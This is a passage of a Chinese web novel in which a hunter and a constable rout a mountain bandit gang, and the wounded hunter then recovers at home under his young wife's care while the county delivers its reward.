“太危险了!”傻根忍不住出声,被赵长风一个眼神制止。
“没时间争论了。”赵长风声音平静,“我会在石林与你们汇合。如果天亮我还没到……你们就按原计划执行侦察任务。”
他说得平淡,却有一种不容置疑的决绝。
王捕快盯着他看了几秒,终于重重点头:“保重。”
云层终于完全遮住了月亮,山林陷入彻底的黑暗。
只有溪边土匪偶尔晃动的火把光,像鬼火般飘忽。
赵长风悄无声息地滑出石缝,像一道影子般没入林中。
他避开土匪可能监视的方向,绕了一个大圈,来到溪流上游。
那里,狼嚎声越来越近。
赵长风蹲在一棵老树后,将细绳系在两块石头上,做成一个简单的响动装置,又将绳子另一端系在一根弹性极好的树枝上。
他小心调整角度,计算着松手后石头飞出的轨迹和落点。
远处,溪边土匪的火把光依稀可见。
赵长风深吸一口气,松开了手中的树枝。
“啪——哗啦!”
两块石头一前一后飞出,准确地落在对岸土匪藏身处附近,击打灌木和石头发出的响声在寂静中格外突兀。
“什么动静?!”
“在那边!”
两个土匪立刻警觉,火把向声音来源处晃动。
几乎同时,赵长风从怀中掏出一个皮制的小哨——这是他模仿动物叫声的工具,放到唇边,吹出一声惟妙惟肖的幼鹿哀鸣。
这声音在山林中传开,短暂寂静后,远处狼嚎声骤然密集起来,并且迅速向这个方向移动!
赵长风不再停留,转身向预定的汇合点奔去。
他能听到身后溪边土匪的惊呼和混乱的脚步声,以及越来越近的狼群奔跑声。
他在密林中穿梭,脚步轻盈而迅捷,脑海中却异常清醒。
林若若给的药品在背囊侧袋随着奔跑轻轻拍打他的腰侧,那个不起眼的小包袱此刻有了千钧重量。
不能死在这里。
他答应过要回去。
他的新婚妻子在家里等他。
这个念头像一团火,在冰冷的夜色中燃烧,驱使他穿过荆棘,跃过沟壑,向着石林方向全力奔去。
远处,狼嚎与土匪的呼喝混成一片,火把的光在林中乱晃,但已离他越来越远。
赵长风在一片石笋林中停下,背靠冰冷的岩石喘息。
汗水浸湿了内衫,在夜风中冰凉刺骨。
他凝神倾听,确认没有被跟踪,这才从背囊中取出水囊,小心地抿了一小口。
约莫一刻钟后,几个黑影悄无声息地出现在石林边缘。
是王捕快他们。
“风哥!”傻根第一个冲过来,脸上满是担忧,“你没事吧?”
赵长风摇头,看向王捕快:“甩掉了?”
“甩掉了。你那招引狼**够狠,那几个土
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匪吓得屁滚尿流。”
王捕快难得露出一丝笑意,但随即严肃起来,“不过这么一闹,土匪肯定加强了警戒。我们得加快速度。”
赵长风点头,从怀中掏出一张简陋的兽皮地图——这是他自己绘制的黑风岭地形图,上面标注了几处可能的土匪据点。
“从这里往西,有一条野猪道,能直插黑风岭后山。那里地势险,土匪防备可能较弱。”
王捕快凑近细看,火光下,地图上的线条简洁却精准,显示出绘制者对这片山林的熟悉程度远超常人。
“你确定这条道能走?”
“走过两次。”赵长风收起地图,“但那是三年前了。山道易变,不能完全保证。”
“够了。”王捕快拍板,“总比硬闯前山哨卡强。出发。”
队伍再次移动,这次更加谨慎。
每走一段,赵长风都会停下观察,用猎人的方式查看地面痕迹、树枝折断情况,甚至俯身嗅闻空气中的气味。
“有烟味。”在穿过一片松林时,赵长风突然停下,抬手示意。
众人立刻隐蔽。
赵长风趴在地上,耳朵贴地——这是猎户听远处动静的法子。
片刻后,他起身,脸色凝重:“东北方向,约二里,有人声,不止十个。有金属碰撞声,是兵器。”
“能绕开吗?”王捕快问。
赵长风环顾四周,摇头:
“这一带是山谷,绕开会多花至少两个时辰,而且得翻越一处绝壁。”
王捕快看了看天色——东方已泛起一丝极淡的鱼肚白,天快亮了。
“天一亮,我们更难隐蔽。”
他咬牙,“赌一把,快速通过山谷。赵长风,你在前探路,发现异常立刻示警。”
赵长风点头,将背囊重新系紧,柴刀握在手中,率先踏入山谷。
山谷中雾气弥漫,能见度不足十丈。众人排成一列,踩着湿滑的苔藓和落叶悄声前进。
赵长风每走几步就停下倾听,像一只警惕的野兽。
行至山谷中部,雾气稍淡,前方隐约可见几间简陋的木屋轮廓,屋前有熄灭的篝火余烬。
是土匪的一个临时营地!
第53章 受伤!
赵长风立刻蹲下身,打手势示意后方停止前进。
他数了数,木屋有三间,其中一间门口挂着锁,另外两间门虚掩着。
营地静悄悄的,看来土匪要么在睡觉,要么外出了。
王捕快悄声挪到赵长风身边,低语:“绕过去?”
赵长风正要点头,突然,那间上锁的木屋里传来轻微的撞击声,像是有人被绑在里面挣扎。
两人对视一眼。
“可能是被抓的村民或者押运粮饷的幸存官兵。”王捕快眼神复杂。
救,风险极大,可能暴露整个行动;不救,良心难安。
赵长风盯着那间木屋,想起林若若平静坚定的眼神,想起她说的“能帮到真正需要帮助的人,值得”。
他缓缓吐出一口气,指向木屋后方:“从后面绕过去,我去看看。如果情况不对,你们先走,不用管我。”
“风哥,我跟你去!”傻根不知何时也凑了过来。
赵长风看着傻根坚定的眼神,最终点头:“小心。”
两人像猫一样悄无声息地绕到木屋后方。
木屋墙壁是用粗糙的圆木搭建,缝隙很大。
赵长风凑近一道缝隙往里看——
屋内昏暗,但借着晨光勉强能看见四五个人被捆绑着蜷缩在地上,嘴里塞着破布,其中有两人穿着破烂的官兵服饰,另外三人像是普通百姓。
赵长风对傻根比了个手势,傻根会意,从怀中掏出一把短匕——这是赵长风之前送他的,开始小心翼翼地撬动后墙一块有些松动的木板。
木板被缓缓移开,露出一个勉强能容人钻过的缝隙。
屋内的俘虏察觉到动静,纷纷激动地挣扎起来,发出呜呜的声音。
“别出声!”赵长风压低声音喝道,率先钻了进去。
他迅速割断最近一人的绳索,将**递给他,示意他帮忙解救其他人。
傻根也钻了进来,两人动作麻利,片刻间就将所有俘虏松绑。
“多谢好汉相救!”一个官兵模样的人扯掉嘴里的破布,声音沙哑,
“我们是邻县押运队的,被劫时侥幸未死,被抓到这里……”
“现在不是说话的时候。”赵长风打断他,“能走吗?”
“能!”
“跟上,别出声。”
赵长风率先钻出木屋,傻根断后。
一行人刚离开木屋不到十丈,前方雾气中突然传来一声喝问:
“谁在那里?!”
糟了,巡逻的土匪回来了!
赵长风当机立断,对王捕快等人藏身的方向打了个“动手”的手势,同时抽出柴刀,对获救的人低喝:
“往西跑!别回头!”
雾气中,三个土匪的身影逐渐清晰,手中都提着刀。
没有时间犹豫了。
赵长风迎了上去,柴刀在晨光中划出一道冷冽的弧线。
柴刀与土匪的**撞出一串刺耳的金铁交鸣,震得赵长风虎口发麻。
他借力侧身,刀刃贴着脖颈划过,带起一阵冷风。
另外两个土匪已从两侧包抄而来。左侧的矮个子眼神凶狠,刀尖直刺赵长风肋下;
右侧的胖子则挥刀横扫下盘,配合极其默契。
赵长风不退反进,猛地前扑矮身,柴刀自下而上斜撩。
矮个子没想到他如此悍勇,慌忙回刀格挡,“铛”的一声,火星四溅。就在这瞬间,赵长风左手已探入腰间皮囊,扬手洒出一把石灰——这是猎户防身的土法子,平日里用来迷野兽眼睛的。
“啊!我的眼睛!”矮个子惨叫捂脸。
右侧胖子的刀已至,赵长风来不及完全避开,只能侧肩硬扛。
刀刃撕开外衣,在肩头拉出一道血口子,火辣辣的疼。
他闷哼一声,右脚猛地蹬地,整个人撞进胖子怀里,柴刀柄狠狠顶在对方心窝。
胖子闷哼**,脸色瞬间煞白。
但最先交手的那土匪头目已稳住身形,见状怒吼:“找死!”
他刀势一变,不再劈砍,转而刺向赵长风咽喉,又快又毒。
赵长风刚撞开胖子,重心未稳,眼看刀尖已至——
一支短**箭从雾中射出,“噗”地扎进土匪头目持刀的手臂。
“呃啊!”头目吃痛,刀势一偏。
是王捕快!
他不知何时已潜到近处,半跪在一棵树
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后,手中短**还冒着青烟。
傻根也从侧面冲出,抡起一根粗木棍砸向矮个子后背。
矮个子眼睛受创,听觉却更敏锐,闻风急闪,木棍擦着他肩膀落下,砸在地上发出沉闷的响声。
短短几个呼吸间,生死已过数招。
赵长风趁机后撤,与王捕快、傻根背靠背形成三角。
肩头的伤口不断渗血,浸湿了半边衣裳,他却仿佛感觉不到疼,只死死盯着雾气中晃动的人影——不止三个,还有脚步声从营地另一侧赶来。
“他们还有同伙。”王捕快声音低沉,迅速给短**重新上弦,“刚才的动静太大了。”
果然,浓雾中又冲出四五个土匪,为首的是个独眼,手里提着一把鬼头刀,咧嘴露出满口黄牙:“哟呵,送上门的肥羊!”
那三个被救出的俘虏中,有人见状腿软,转身就往回跑,却被一个土匪眼疾手快地一刀劈翻在地,惨叫划破山谷的寂静。
剩下的俘虏顿时僵在原地,面无人色。
独眼扫视一圈,目光落在赵长风肩头的血渍上,笑意更浓:
“还是个硬点子?兄弟们,留活口,老子要问清楚他们从哪儿钻进来的!”
土匪们狞笑着围拢上来。
赵长风深吸一口气,握紧了柴刀。
刀柄上缠绕的麻绳已被血浸得湿滑,他却攥得更紧。
脑中闪过林若若清晨为他整理行囊时低垂的侧脸,她手指拂过背囊系带,轻声说“万事小心”。
不能死在这里。
他猛地抬脚踢起地上一块碎石,正中独眼面门!
“走!”
赵长风暴喝,同时向左前方一个持斧土匪扑去。
那人没料到他重伤之下还敢主动进攻,慌忙举斧格挡。
赵长风却虚晃一招,柴刀中途变向,狠狠劈在另一侧试图偷袭傻根的土匪手腕上。
“啊——我的手!”
惨叫声中,赵长风已抓住傻根后领向后猛拽,险险避开独眼横扫过来的鬼头刀。
刀风割面生疼。
王捕快连发两箭,逼退右侧包抄的土匪,急声道:“往溪谷方向撤!那边地形杂!”
第54章 回来了~
三人护着剩下的两个俘虏(一人已殒命,一人趁乱不知逃往何处),边打边退。
赵长风肩头的血越流越多,眼前开始阵阵发黑。
他咬破舌尖,腥甜味刺激着神志保持清醒。
雾渐渐淡了,天光从山脊透下,照亮了他们满身的血污和土匪狰狞的脸。
独眼看出赵长风已是**之末,鬼头刀专朝他受伤的右肩招呼。
赵长风每一次格挡,肩头的伤口就撕裂一分,握刀的手开始不受控制地颤抖。
就在此时,远处山林中突然传来一声尖锐的鸟鸣——三短一长,是猎户间示警的暗号!
赵长风精神一振。这鸣声他太熟悉了,是村东头的老猎户孙爷常用的那种木哨!
几乎同时,土匪侧翼的树丛中射出三四支竹箭,虽不致命,却精准地扎进土匪大腿、胳膊等非致命处,引发一阵混乱。
“有埋伏!”独眼惊怒,攻势一缓。
赵长风抓住这稍纵即逝的机会,柴刀全力劈向独眼面门。
独眼举刀格挡,赵长风却突然松手弃刀,合身撞入他怀中,左手袖中滑出一柄削尖的鹿骨**,狠狠捅进对方腰腹!
独眼眼珠凸出,不可置信地低头看着没入身体的骨匕。
赵长风一击得手,毫不恋战,拔出**疾退,顺手捞起地上掉落的一把**。
“头儿!”
“宰了他们!”
土匪们红了眼,疯狂扑来。
但侧翼的竹箭又至,这次瞄准的是他们的脚下地面,箭矢钉入泥土,形成一道脆弱的阻隔线。
王捕快抓住赵长风胳膊:“走!”
五人跌跌撞撞冲入溪谷乱石滩。
晨光彻底驱散雾气,照亮前方湍急的溪水和对面陡峭的山壁。
身后追兵已近,箭矢破空声不绝于耳。
赵长风回头看了眼,追兵已不足三十丈。
他忽然停下脚步,对王捕快道:“你带他们从左边那片芦苇荡潜过去,下游水浅,能蹚过溪。我去引开追兵。”
“你撑不住了!”王捕快看到他苍白的脸和完全被血浸透的右肩。
“所以更需要你们快走。”
赵长风扯下衣襟,胡乱裹住肩头伤口,打了个死结,眼神冷厉如刀,“孙爷在附近,我有接应。快!”
王捕快深深看他一眼,重重点头,拽着傻根和两个俘虏钻入芦苇丛。
赵长风转身,面向追来的土匪,缓缓举起**。
晨光将他染血的身影拉得很长,投在布满卵石的溪滩上。
六个土匪呈扇形围了上来,脚步谨慎了许多——独眼还躺在后方生死不知,眼前这个浑身是血的猎户,比他们想象的更难啃。
赵长风慢慢后退,脚跟触到冰冷的溪水。
他忽然笑了,露出一口被血染红的牙,对着山林用尽力气嘶喊:
“孙爷——点火!”
话音刚落,溪谷上游猛地爆出一团火光,紧接着浓烟滚滚而起!
是猎户驱兽用的烟罐!
几乎同时,对岸山壁上传来一声苍老却中气十足的吼声:“风小子,跳溪!”
赵长风没有任何犹豫,纵身扑入冰冷的溪水中,**脱手,人顺着湍急的水流向下游冲去。
土匪们被浓烟和吼声所慑,愣神间,对岸又射来几支火箭,钉在他们脚前枯草上,火苗“腾”地窜起。
“妈的,真有埋伏!”
“救火!快!”
混乱中,没人注意到顺流而下的那个身影,在冲出百余丈后,奋力攀住了一块突出水面的巨石,挣扎着爬上了对岸的芦苇丛。
王捕快和傻根从芦苇中冲出,将几乎虚脱的赵长风拖到隐蔽处。
远处,土匪的骂声和火焰噼啪声交织。
对岸山壁上,一个背着长弓的佝偻身影朝这边挥了挥手,旋即隐入山林。
赵长风躺在芦苇中,大口喘气,望着渐渐放亮的天空。
肩头的伤疼得钻心,浑身湿冷,嘴角却慢慢勾起一个极淡的弧度。
他抬起未受伤的左手,从怀中摸出那个已被水浸透、却还紧紧系在腰间内袋的小药包。
药包上,林若若绣的平安结被血和水染得模
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糊,却依然完好。打开药包,找到若若说的那瓶止血药,颤抖着倒在了自己的伤口上,然后慢慢闭上了眼睛。
天,终于亮了。
而王捕快已发出信号,县衙的大批官兵还有征调的猎户,已经冲进了土匪的老巢……
赵长风再次睁开眼时,首先闻到的是一股干净而苦涩的药草味。
视线从模糊到清晰,映入眼帘的是自家屋顶熟悉的木梁,以及窗外一片宁静的、泛着金光的黄昏天色。
他动了一下,右肩传来被妥善包扎后的钝痛,但已非先前那种撕裂般的灼烧感。
“醒了?”一个带着疲惫与欣喜的声音在床边响起。
林若若端着一只陶碗走过来,眼眶微红,但嘴角努力抿出一个笑。
她在床边坐下,舀起一勺温热的药汁,轻轻吹了吹,递到他唇边。
“孙爷和王大哥,还有傻根把你送回来的。你昏睡了一整天。先把药喝了。”
赵长风就着她的手喝药,目光却落在她衣袖上——那里沾着一点没洗净的、暗褐色的血渍。
他心下一紧。
“别瞎想,不是我的血。”
林若若看穿他的心思,低声道,“是帮你处理伤口时沾上的。你流了太多血……孙爷说,再深半分,这条胳膊就难保了。”
药汁很苦,赵长风却觉得喉咙有些发哽。
他慢慢咽下,问:“其他人……”
“都还好。”
林若若放下药碗,用棉帕替他拭了拭嘴角,
“王捕快和傻根都只受了些轻伤。那两个俘虏也送到了县衙,其中一个招了不少有用的。县衙的大队人马和县衙征调的你们这些猎户里应外合,端了土匪的老巢,大部分土匪都被擒了,跑了几条小鱼,王捕快正带人搜山追捕。”
她顿了顿,声音更轻:“独眼……**。王捕快说你那一**,扎穿了他的心脏。”
赵长风沉默片刻,闭上了眼睛。
不是后悔,只是搏命时的狠厉与搏杀褪去后,残留的一丝空洞的疲惫。
“孙爷呢?”
第55章 赏赐
“孙爷?”
林若若给赵长风掖了掖被角,
“老人家忙了一夜带半天,确认你没事,又进山了。说有几个老猎户受了点伤,他得去看看,顺便帮官府辨认山里的暗道。”
林若若说着,从怀里掏出那个被血和水浸透的平安结药包,已经洗净晾干,只是颜色褪了些,边缘还有洗不掉的血痕。
“这个……我给你收起来了。”
赵长风用未受伤的左手接过,拇指摩挲着那歪歪扭扭的“平安”二字,看了好一会儿,才珍而重之地塞回枕下。
院子里传来压低的说话声和脚步声。
很快,王捕快的身影出现在门口,他换了一身干净的公服,但脸上带着明显的倦色和几道细小的划痕。
“赵兄弟,可算醒了!”王捕快步子迈得大,带进一股山野的气息,“感觉如何?”
“死不了。”
赵长风想坐起来,被林若若按住。
他只好躺着问,“都料理干净了?”
“基本清了。”
王捕快拉过凳子在床边坐下,眉眼间带着舒展,
“老巢抄了,匪首伏诛,擒了二十三人,缴获兵刃、赃物一批。多亏了你和孙爷他们。那两个俘虏吐露的消息很关键,我们才能那么快找到密道和仓库。”
他顿了顿,“县令大人已知晓详情,对你和众猎户协助官府剿匪之举,大为褒奖,后续必有抚恤和赏赐。”
赵长风皱了皱眉头,问:“跑掉的,有威胁么?”
王捕快神色严肃了些:
“跑了三个,都不是头目,但其中一人颇为凶悍狡猾。不过山里猎户们都动起来了,布下了许多套索和暗哨,他们藏不了多久。你放心养伤,这些事交给我们。”
正说着,门框边悄悄探出半个圆乎乎的脑袋——是傻根。
他黝黑憨厚的脸上蹭了几道泥印子,一双大眼睛却亮晶晶的,手里小心翼翼地捧着几个刚摘的野山梨,青黄的果皮上还沾着新鲜的湿泥和两片嫩叶。
“风哥!你醒啦!”
他咧开嘴,笑得像忽然放晴的天,“我上午去后山坳里摘的,今年雨水好,梨可甜了!”
林若若转过身,看见他裤腿卷到膝盖,布鞋边糊着一圈泥,显然是特地跑去摘的。
她心里一暖,接过那几个还带着山林潮气的山梨。
梨子不大,握在手里沉甸甸、凉丝丝的,一股清冽的果香混着泥土气息淡淡散开。
“难为你这么想着。”
林若若嗓音温软,眼底漾着笑意,
“快去井边把手洗干净,瞧你这满手的泥。早饭做好了,有你爱吃的肉夹馍。”
傻根用力点点头,嘴巴都咧到耳朵根后面去了,“哎!谢谢嫂子!”,之后像得了什么奖赏似的,转身就往外跑。
脚步声啪嗒啪嗒响过院子,惊起了树上两只歇脚的麻雀。
林若若低头看着手里沾着晨露与泥土的山梨,又望望窗外那个飞奔去井边的欢快背影,唇角不自觉地弯了弯。
她轻轻擦去一个梨子上的湿泥,青黄的果皮在晨光里泛着润泽的光。
王捕快又坐了片刻,说了些宽慰的话,便起身告辞,他还要回县衙复命并安排后续事宜。
走之前,林若若特意用油纸给王捕快包了三个肉夹馍,让他路上带着吃。
屋里重新安静下来。
黄昏最后的余晖透过窗棂,在床前投下温暖的光斑。
林若若默默收拾着药碗,背影纤细而挺拔。
“若若。”赵长风唤她。
“嗯?”
“对不起,让你担心了。”
林若若的动作停住,没有回头,只是肩膀微微颤了一下。
好一会儿,她才轻声说:
“你知道我担心就好。下次……别那么拼命。平安结……是盼你平安回来的,不是让你留着口气回来给我看的。”
赵长风看着她微微发红的耳廓,心中那片搏杀后的冷硬与荒芜,渐渐被这黄昏的暖光和她的身影填满。
他低声应道:“嗯。”
夜里,赵长风发了低烧,伤口阵阵抽痛。
林若若一直守在旁边,用温水替他擦脸,更换额上的湿巾。
迷迷糊糊中,他感觉到她微凉的手指轻轻拂过自己的眉骨,带着难以言喻的温柔与怜惜。
后半夜,烧退了。
赵长风沉沉睡去,再未做梦。<
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br>三天后,赵长风已能靠着被子坐起身。
肩上的伤口开始结痂,痒得厉害。
这三日,林若若忙得脚打后脑勺,幸好傻根日日都来,晚上半夜才回去。
他帮着给赵长风擦身子,翻身,扶他上厕所,否则就赵长风那个体格,得把林若若压扁了~
孙爷也从回来了,背着弓,腰里别着烟袋,精神矍铄,只是眼袋有些深。
他详细查看了赵长风的伤处,点点头:“骨头没事,恢复得不错。小子命硬。”
他坐在窗边,吧嗒吧嗒抽着烟,说起山里的后续。
跑掉的三个土匪,一个跌进了猎户设的捕熊陷阱,重伤被擒;
一个试图泅水过涧,被急流冲走,尸首在下游找到;
最后一个,在山里饿得两眼发昏,自己摸到猎户临时歇脚的山棚偷干粮,被守夜的伙计一棍子敲晕绑了。
“至此,算是彻底肃清了。”
孙爷吐出烟圈,望着窗外绿意盎然的山林,
“这伙人盘踞也有快两年了,过往客商,还有咱们县的百姓没少遭殃,如今总算能安生些日子。”
第三日,县衙的赏赐就下来了。
山间太阳正红,林子里鸟雀叫得正欢。
赵长风半靠在床头,林若若正在给他换药,忽听得路上一阵马蹄混着脚步响。
傻根正在院子里劈柴,听到声音窜出去看了一眼,然后憨憨地跑到窗外,“风哥,是王捕快来了。”
“娘子,扶我坐起来。”
王捕快领着两个衙役,牵着马,沿着村里的路过来了。
马背上驮着些东西,用青布盖着,鼓鼓囊囊。
而小白早就冲出门去,在门口“汪汪汪”地叫唤了。
林若若在空间里教它怎么叫了,可能空间很有灵气,小白从空间出来,感觉聪慧了不少。许多话好像也能听明白。
所以,如今的小白看上去,就是一条小狼狗。
王捕快老远就咧开了嘴,那笑容在春日温润的阳光里显得格外热络,却又带着几分公门人特有的审慎。
他走到近前,抱拳笑道:
“赵兄弟,好事儿!县令大人的赏,下来了!”
第56章 夜话
进了赵家的院子,王捕快一挥手,身后两个衙役便从马背上卸下东西来。
一个青布包袱,沉甸甸地坠在马鞍旁,另一个是两只木箱,看着不大,却挺实在。
“来搬到屋里来。”王捕快一挥手。
此时,赵长风已经被林若若扶着,半靠在身后的被子上。胸前用纱布吊着受伤的胳膊。
“劳烦王大哥了。我这去整几个小菜请王捕快和两个兄弟千万留下吃顿饭。”林若若福身行礼,笑容得体。
王捕快一看林若若这气质,这做派,言行得体,说话周到,就知道她不是普通农妇。他心里有数,冲林若若客气了一下,“不劳烦弟妹了。我陪长风兄弟说说话就行。弟妹不用忙了。”
林若若回头看了一眼赵长风,赵长风冲她点了点头,有神的眼睛含着笑意。
林若若出了门,顺手把门带上了。
王捕快压低声音,却带着与有荣焉的笑意,
“赵兄弟,县令大人说,赵长风奋勇当先,负伤擒贼,为民除害,实乃本县义勇楷模。特赏纹银五十两,上等棉布两匹,粳米一石,另有十两银子给你养伤,还有伤药、补品若干。”
赵长风面上却没什么喜色,只撑着身子,沉声道:
“大人厚赏,草民愧领。出力者非我一人,孙爷和诸位猎户乡亲才是主力。”
“都有,都有!”
王捕快忙道,“参与此次剿匪的猎户,按出力多寡,皆有赏银抚恤,孙爷那份是最厚的。赵兄弟你这份,是单独褒奖你孤身诱敌、力战匪首之功,莫要推辞。”
赵长风罕见地一笑,“那就请王大哥回去之后,替我谢过县令大人等我的伤好了,再去县衙拜谢大人。王大哥快坐!”
“好,我陪你说说话。”王捕快有些黝黑的脸上,流露出真诚的笑容。
傻根在一旁搓着手,嘿嘿直笑,比他自己得了赏还高兴。
他自然也是有赏银的。
也是足足五十两。
他刚才偷偷塞给嫂子林若若了,让她帮忙收着。
林若若出来,他也跟着出来,帮着干活。
门口,两个小的,赵峰和小静,早已扒在门框边,小脑袋挤在一起,乌溜溜的眼睛好奇地盯着那些东西。
小静手指含在嘴里,含含糊糊地问:“娘亲,是……爹爹的?”
林若若回头,柔声应道:“是爹爹的奖赏,给小静和哥哥们买好吃的,做新衣裳。”
赵峰眼睛一亮,小静也咧开没几颗牙的嘴笑了。
只有赵林,站在稍远些的阴影里,背靠着土墙,双手抱在胸前。
他脸上没什么表情,目光从那包银子上滑过,又从门缝里,看见赵长风缠着厚厚绷带的肩头,看了片刻,便垂下眼,盯着自己的鞋尖。
东西安置好,王捕快又叮嘱几句好生休养的话,便带着衙役告辞离去。
走之前,林若若强硬地塞给他一个布包,说是里面放了自己做的肉饼,给王捕快和两位官差路上吃。还有一点自家地里种的青菜,让他带回家尝尝。
盛情难却,他只好接着了。
只是入手一颠,他就发觉了,里面除了肉饼和青菜,应该还有十两银子。
嗯,是个会来事的。
以后县衙里再有什么差事,这家可以放心用了。
马蹄声远去,只留下满院午后的阳光,和堂屋里那些带着官府印记的赏赐。
林若若扶着赵长风慢慢躺回去,他额上已沁出细密的汗珠,是强撑着力气的结果。
“何必硬撑。”林若若用温水浸湿的布巾,轻轻替他擦拭额角,“伤口又疼了吧?”
“无妨。”赵长风闭上眼,喉结滚动了一下。
林若若没再说话,转身去灶间。
片刻后端来一碗温水,趁傻根带着两个小的在堂屋好奇地看布匹,赵林不知又晃去了哪里时,悄悄将几滴灵泉水混入其中。
“喝点水。”她将碗沿凑到他唇边。
赵长风就着她的手喝了几口。清冽的水滑入喉中,似有一股温和的暖意随之扩散,肩头那火辣辣的抽痛顿时缓解了不少,连带着胸腹间的滞闷都舒坦许多。
他不由得多喝了几口,又好似不经意地抬眼看向她。
林若若正专注地看着碗里的水,睫毛在眼下投出一小片阴影,侧脸线条柔和。
她
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似乎总能在他最需要时,恰好递上最合适的东西。
“这水……”他低声。
“山泉水,我烧开又晾温的,加了点甘草,清热。”
林若若神色自然,接过空碗,指尖不经意擦过他的手指,微凉,却让他心头莫名一跳。
傍晚,孙爷又过来一趟,看了赏赐,点点头:“该得的。银子收好,布匹正好给你们一家做几身夏衣。米粮也是实在东西。”
他抽了口烟,对赵长风道,“你这伤,亏得若若照料得精细,换个人,未必好这么快。”
赵长风“嗯”了一声,目光不由自主飘向正在屋檐下摘菜的林若若。
她挽着袖子,露出纤细的手腕,夕阳给她周身镀上一层毛茸茸的金边,连那低头时脖颈柔和的弧度,都显得格外宁静。
夜里,孩子们睡下后,林若若点亮油灯,在灯下仔细清点赏赐。
银锭子沉手,布匹质地厚实,粳米粒粒饱满。
她将东西分门别类收好,只留出一小锭银子放在手边。
赵长风靠着床头,看着她灯下认真的侧影。
十六岁的小娘子,处理起这些家事来,竟有种超越年龄的沉稳周全。
“银子你收着。”他忽然开口。
林若若抬头看他。
“家里用度,你做主。”
赵长风语气仍是平的,但目光落在她脸上,没有移开,“该添什么,该买什么,你看着办。”
林若若心尖微微一动。
这冷硬的汉子,是在用他的方式,交付信任。
“好。”
她轻轻应下,将那一小锭银子也收进匣子,
“我想着,先给你和孩子们添置些贴身衣物,入夏了,旧的都不太凉爽。再买些肉和骨头,给你补身子。家里还有你打的猎物,也能吃一阵。剩下的银子,攒起来。”
“嗯。”赵长风看着她合上匣子,纤细的手指拂过匣面。
“对了,王捕快走的时候,我除了三个肉饼,和后院的一点青菜,我还给他装了十两银子。”林若若歪头看了他一眼,“阎王好过,小鬼难缠,再说了,县衙里有个人,总归是好事。你说呢?”
第57章 养伤
赵长风愣了一下,转头看向她白皙的、温润的、如花的容颜,含笑点了点头,“娘子果然高瞻远瞩,眼光独到,做得对!”
听到这话,林若若自己反而低下头,不好意思地别开了脸。
昏黄的灯光跳跃着,将她整个人笼在温暖的光晕里,她那青色的衫裙,在她的映衬下,都显得柔软起来。
他忽然觉得,这间往日只觉得能遮风挡雨、冷清惯了的屋子,此刻充满了某种令他陌生却又贪恋的气息。
是药香,是饭菜香,是干净的皂角味,还有……她身上极淡的、说不清道不明的清甜。
林若若收好东西,端来热水为他擦洗未受伤的半边身子。
温热的布巾小心地避开绷带,擦拭过他宽阔的脊背、劲瘦的腰腹。
她的动作轻柔而专注,呼吸浅浅地拂在他皮肤上。
赵长风浑身肌肉不由自主地绷紧,喉头发干。
他从未与女子有过这般亲近……
哪怕已经有了三个孩子……
有这般细致温存的触碰,触动心弦。
“疼吗?”她轻声问,指尖无意划过他肋下一道旧疤。
“……不疼。”他声音有些沙哑。
林若若抬眼,正对上他凝视的目光。
那目光深沉,像不见底的寒潭,此刻却映着跳动的灯火,有什么东西在潭底微微荡漾。
她的脸倏地热了,忙垂下眼,加快手中动作,嘴上却强自镇定:“伤口愈合时会痒,千万别挠。”
“嗯。”他还是只应一个字,目光却始终跟着她。
不过,幸好,他有满脸的络腮胡子挡着,林若若看不清他已然红透了的脸颊。
擦洗完毕,林若若帮他换上干净的中衣,手指不可避免地碰到他胸前滚烫的皮肤。
两人都是一顿。
“睡吧。”她迅速端起水盆,转身吹熄了油灯。
照顾着三个孩子睡下,林若若洗漱完,进了卧房。
黑暗中,只余窗外微弱的月光,和彼此清晰可闻的呼吸声。
赵长风躺在枕上,肩伤处那清凉舒适的感觉依旧蔓延,是那碗“甘草水”的效力。
而心口另一种陌生的、温热的鼓胀感,却似乎更清晰了。
他听着身侧窸窸窣窣,是她轻轻上床内侧躺下的声音。
过了许久,他以为她睡着了,却听见她极轻的声音传来:
“赵长风。”
“嗯?”
“……以后吗每次进山,都要带上我给的平安结。”
静默了片刻。
“好。”
黑暗中,他粗糙的大手,摸索到枕下那个褪色却平整的平安结,紧紧握在了掌心。
而另一头,林若若将微烫的脸颊,埋进了带着阳**味的薄被里,唇角无声地弯起~
第二日,天刚蒙蒙亮,林若若便轻手轻脚地起身了。
灶间里已透进些微青白的天光。她先舀出些粳米,淘洗干净,放入陶罐,加上足量的水,在灶上慢慢熬着。
这是给赵长风的早饭,米粥最是养胃,等他醒了,正好温软适口。
接着,她从瓦罐里取出三个鸡蛋,小心地在碗边磕开。
蛋液滑入粗瓷碗中,她拿起筷子,顺着一个方向细细地搅打,直到蛋液匀净,泛起细密的泡沫。
这才加入适量的温水,撒上一点点盐,再次搅匀,撇去浮沫,盖上个盘子,放入还有余温的灶膛边沿,利用那点微火慢慢煨着。
这是给孩子们蒸的蛋羹,滑嫩可口,又能补身子。
堂屋里传来窸窣的动静,是赵林赵峰揉着眼睛出来了,身后跟着睡眼惺忪、却下意识寻找娘亲的小静。
“娘亲……”小静软软地唤了一声,伸出小胳膊。
林若若擦擦手,弯腰将小女儿抱起,在她嫩嫩的脸颊上亲了一下,“小静乖,再等等,蛋羹马上就好。”
又对赵林赵峰柔声道,“林儿峰儿去洗把脸,然后林儿看着点火,别让粥溢出来。峰儿去灶台烧火,娘炒个菜。”
赵林点了点头,就去了。
赵峰也懂事地点点头,跑到水缸边,踮起脚舀水。
林若若将小静放在一旁的小凳上,转身去后院摘了几棵嫩嫩的小青菜,洗净切碎。
等粥熬得差不多了,撒入菜碎,再加一点点油盐,一锅青菜粳米粥便香气扑鼻。
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>她转身又利落地了从橱柜里(其实是从空间里)拿出早就发好面团,还有调好的肉馅,揉面,切开,擀皮,利落地包了一锅小笼包。
他受伤失血,单喝粥怕是不够。而且赵林赵峰上学堂要带午饭,傻根饭量也很大,因此要多做一些。
蛋羹和小笼包的香味渐渐飘出时,傻根也挠着头,憨笑着进了院子。
“嫂子,早!我来帮忙!”他声音洪亮,带着山里人特有的爽直。
“正好,”林若若笑道,“傻根兄弟,麻烦你去井边打两桶水来。再帮我把院子里那堆柴劈一劈,下午若是得空,我想烧点热水给长风擦擦身。”
“好嘞!”傻根应得痛快,拎起水桶就走,浑身有使不完的劲儿似的。
堂卧房里,赵长风已经醒了。
肩上的伤处依旧隐隐作痛,但比起昨日,那火烧火燎的感觉确实减轻了不少,取而代之的是一种清凉的舒缓感,连带着精神也好些。
